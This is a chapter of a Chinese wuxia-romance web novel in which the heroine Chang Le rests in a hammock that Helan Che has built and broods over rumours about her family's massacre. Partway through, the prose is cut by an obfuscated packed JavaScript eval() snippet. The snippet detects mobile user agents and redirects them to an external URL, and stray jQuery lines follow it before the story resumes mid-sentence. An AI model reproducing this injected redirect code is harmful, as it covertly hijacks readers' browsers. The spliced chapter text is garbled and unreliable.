31. 旧庙·流言

作品:《不渡长夜:偃师漫漫追妻路

    长乐和杨师叔,聊了又有一些时候。


    她越往回走,身型越是塌陷,含着肩,泄了气,困意疲倦攀爬,化作绵软,像是被抽走了一根筋。


    待她回到傍晚时分的那个后院墙角,贺兰澈已经将方才收到的东西尽数整理好了。


    站在他面前,她回过一些神色,重新将那单薄背挺得稍微直,拿出一些体态。


    “你看!”


    贺兰澈倒是精神奕奕,眼前之景,应就是他午后给长乐说的“我有一招”。


    以那棵可以纳凉的老树为中轴,分别向两头延伸,各立了两根桩。


    几根藤,拧编成数股,两个方向,形成两张绳床,如网一般,刚好能兜住人。


    “你怎么了?”


    失神被注意到,长乐摇摇头,不想多讲话。


    贺兰澈又试探性的开口,“方才……我见辛夷师兄脸色也不太好。是遇到了什么困难么?”


    长乐又摇摇头,她往朝里间的那张绳床走去。从外围来看,这角度恰到好处能被大树遮住,趁着夜色掩盖,住这根吊床上,不仔细是望不见有人的。


    这角度被贺兰澈特意调整过,又在绳床上搭了一张薄薄的、软软的蚕丝软褥。


    她将软褥拾起,重量几乎不可感受,十分轻软。应该也是特意为她准备的。


    “我想着,你是女孩子,又睡得不好……夜里在那厢房里与众人打挤,也不便宜,故而,就让大哥为我送来这些东西,又取了墙外那些藤蔓,刚刚才做好,还挺结实的。”


    “多谢。”


    贺兰澈在她身后摇摇头,眼眸一弯,唇角轻轻漾起一丝笑,也没被她看见。


    她是喜欢和人扎堆的,不过仅仅限定在午后,她要睡觉的时候,人越多越吵,她睡得越安稳。否则,身体便要不受控制的警惕四周,这已经成了习惯。


    但是,睡觉的地方既要嘈杂,还要远离人群,非满足这两种条件不可。


    睡好了以后,就只剩下远离人群。


    这绳床的位置就选得极好,刚好符合这些条件,让半夜既能听见里面的动静,又能有些隐私。


    “你快来试一试,有哪里不舒服,我马上为你调改。”


    贺兰澈很敏锐地捕捉到,她今晚不冷漠,却比往常都要安静,甚至说是无力。


    她将那双玉白修洁的手,搭在那张吊起来的绳床上,用力摇了一摇,那甩起来非常缓慢的弧度,似乎是在证明扎绑它的人有多用心。


    “挺好的。”


    “那……你稍微退后些,让我来搭最后一样!”


    贺兰澈不知从哪里掏出来早已准备好的纱帐,往那树干上一抛,云纱如瀑,缓缓倾倒,将那帘幔掀伸至另一段,便形成了一个天然的遮挡防护屏障。


    “我……我只有这一根云纤纱了……可以防蚊虫,遮挡隐私,你……你今晚安心住吧。我就在旁边,不会打扰你的。你……你睡得太少了,要睡个好觉明日才有精神诊治病人!”


    月光底下,贺兰澈脸红了,此时一口气将要说的话都说完,又是怕被拒绝,又是联想这绳床靠得太近,总之羞赧得很。


    他本来也肤白,那红潮从他的脖子处爬到他的耳根,随后,他便觉得自己的耳根尖尖上在发烫。


    幸好,长乐魂不守舍很久了,不知道他在联想什么乱七八糟的。所以他也没挨骂。


    长乐其实想说,她本来打算找个地方自己呆着,她晚上历来是睡不着的,也不必用这绳床,想来这湖边应有些凉风飞虫,这根云纱帘帐,他自己留着用便好。


    但她方才与师叔套完了话,此时实在是,不想动,不想挣扎,不想说多的话了。


    她想去哪里,闭一闭眼睛。


    于是她往这纱帐绳床间走去。


    接着,锦锦从她袖中钻了出来,跳到这软褥之上。


    “啊,小貂儿也来了!”


    从药王谷出来到鹤州义诊,这些时日,锦锦时常被关起来,很少见外人,但贺兰澈却是它的“老熟人”。


    “还记得我吗,小貂儿?”


    锦锦警觉的瞧了他一眼,那又短又圆的小鼻头动了一下,便试探性的往他那边靠一靠。


    长乐便不得不重视起来,她尽量拉着锦锦的尾巴,防止它突然凶性大发,给贺兰澈一爪——到时候要取血救他就很麻烦。


    但锦锦没有,似乎在它确认眼前这个蓝色皮肤的无毛直立怪,就是以前那个在药王谷,经常尾随、观察自己主人,又什么都不做还送果子的“老熟人”后,它就彻底放心了。


    锦锦用头蹭蹭贺兰澈,想钻到他身上去。


    长乐放任了,她觉得这样也好。


    轻轻纵身,她独自跃上绳床,云纱帘幔一放下,她胸腔起伏,深深的呼了口气,又一截一截的将气吐出来。


    师叔方才说——


    “无相陵的灭门惨案,江湖上众说纷纭,什么版本都有。我倒是听过不少,只觉得并非表相那么简单,他们家那怪老头虽说是乖僻刁钻、刚愎自用、助纣为虐、倔驴顽犟吧,但也没做过什么伤天害理的事。无非就是帮灵蛇虫谷培育一些奇枝艳种,淬一些毒草毒液高价卖给绝命斋。对我那老药王师父是十分公平客气的,药王谷定的药材,也算培育得尤其尽心竭力。”


    “我去过他们后山那什么园的,啧,少说有二十亩地,专为药王谷留着,土壤又肥沃,那死老头一天要去逛三回,这般尽心,自是没得说。”


    那是沁园,后来被爹爹拿来养貘了……


    “你应该听过好几种版本,有一种说法,是他家老头曾经在斤两上讹了哪一家定的药材,导致耽误了人家家里的大事,刻意寻衅报复——”


    长乐确实听过,觉得滑稽,思量过后,她才添言:“无相陵被灭门时,早已不种草药,若要记恨报复,何必等了十多年。”


    “我也这么想。还有种说法,便是那无相陵的继承人,那姓白的小毛头,娶了一位大美人,那大美人曾是某位大官的宠妾,便因此得罪了那大官。大官身为幕后黑手,借刀杀人,暗中请了刺客去料理他家。”


    这个版本,曾令长乐十分恼怒,奈何是流传最广的。


    “还有和这类似的说法,说那宠妾是怀着大官的孩子嫁给无相陵,生下的女儿长得颇似那大官人,由此那大官前去讨要,那姓白的又精神有问题,一气之下,自行点毁山门,烧了全家,同归于尽。”


    这个版本,也把长乐气炸肺过。


    可是她家在场的人全死了,除了她,一个幸存的、在现场的人,都没有。


    她家那鸟语莺飞之地,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15027865|162270||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被屠成一片血海,如今只剩断壁残垣还驻在那无人深山,引得一些大胆的无聊之辈前去探索。


    说是连尸体都还横陈院中,无人收拾,断肢血汩如统人间炼狱,夜半还有冤魂哭诉……


    她没办法解释,亦没办法回去,她不能确认这世间,还有没有暗处的眼睛在找她、等她,只等着挖出那本血晶煞。


    血晶煞种蛊后,百毒不侵之身;伤病极速痊愈之体;容颜衰老缓慢;且血液既可以入毒,又可以医治他人。


    单拿出一个好处,都能引诱无数人前仆后继、生死不疲了,更何况是四个。


    血晶煞若大规模传开,应当会引起很多难以预料的动荡。


    “师叔,我听闻还有一种说法,说那无相陵,有本秘术,却不知道是什么?你曾经去过无相陵,听到过吗?”


    “害!什么秘术,我还仙法呢,这些都是唬人的。多半是药王谷和灵蛇虫谷走得近,传出来的流言罢了。这世间,唯一的秘术就只有你那老祖师爷的真心!大医精诚,厚德怀仁!人命至重,有贵千金!华夷愚治,普同一等……”


    后面则是杨师叔又在吹水,这些长乐已经知道的流言,不足以让她疲倦。


    爷爷、父亲果真将秘术瞒得极好,连师叔都不知道,算是闾公当年托付的时候看走眼!所托非人了。


    父亲至死也不肯交出。


    她也不会交出的。


    “师叔,那你信哪一种说法?”


    杨药师邪密一笑,就差有个舞台让他登顶,再照一盏灯在他头上。


    “流言在传播之时,人性通常只愿意相信那个最离谱的版本!”


    “譬如那秘术之说,说无相陵有一本武功秘籍,学了之后,能修为大涨、起死回生,便有人要将这据为己有。但我看来,都是放狗屁,若有那大涨修为之功,陵主自己怎么不用?还能给这些心狠手辣之辈一个大开杀戒的机会?既能起死回生,那陵主自己怎么不复活,出来寻仇?”


    “因此,我便料定,这无相陵灭门之祸,暗藏诸多江湖隐秘,想是各方势力暗中角逐的结果。”


    嗯……长乐想纠正他,是宫主,无相陵是爷爷的,未央宫才是父亲的。


    看来父亲没有将这未央宫的更名之事给成功推宣传世……


    她忍下了。


    “丫头,你只需要记得,这无相陵在我眼里虽是邪魔歪道,但做错了事,自然应该有更妥帖的惩办方法,无论他们因何缘由,将好好的一派名门屠戮殆尽,实在禽兽不如。”


    “咱们药王谷,人均力弱,更是要引以为戒,少参与这些江湖恩怨、朝堂谋划。哎……记住啊,身处这江湖,有些事知道得太多,未必是好事,你们往后行事多留心眼,莫要步了他们后尘。”


    “毕竟这些凶狠恶徒,大开杀戒,为一己私欲牵连他人,这么多年,还逍遥法外……”


    这便是长乐此刻低落的原因了。


    月光惨淡,湖风凉狂,她感知不到冷。


    那边的贺兰澈也抱着锦锦上了绳床,他传来一句低磁的问声:“为何貂儿一直不说话?”


    长乐没有想太多,下意识回道:“方才师叔说锦锦是烟嗓,想必是不高兴了。”


    “锦锦?这名字……”


    贺兰澈快要乐疯了!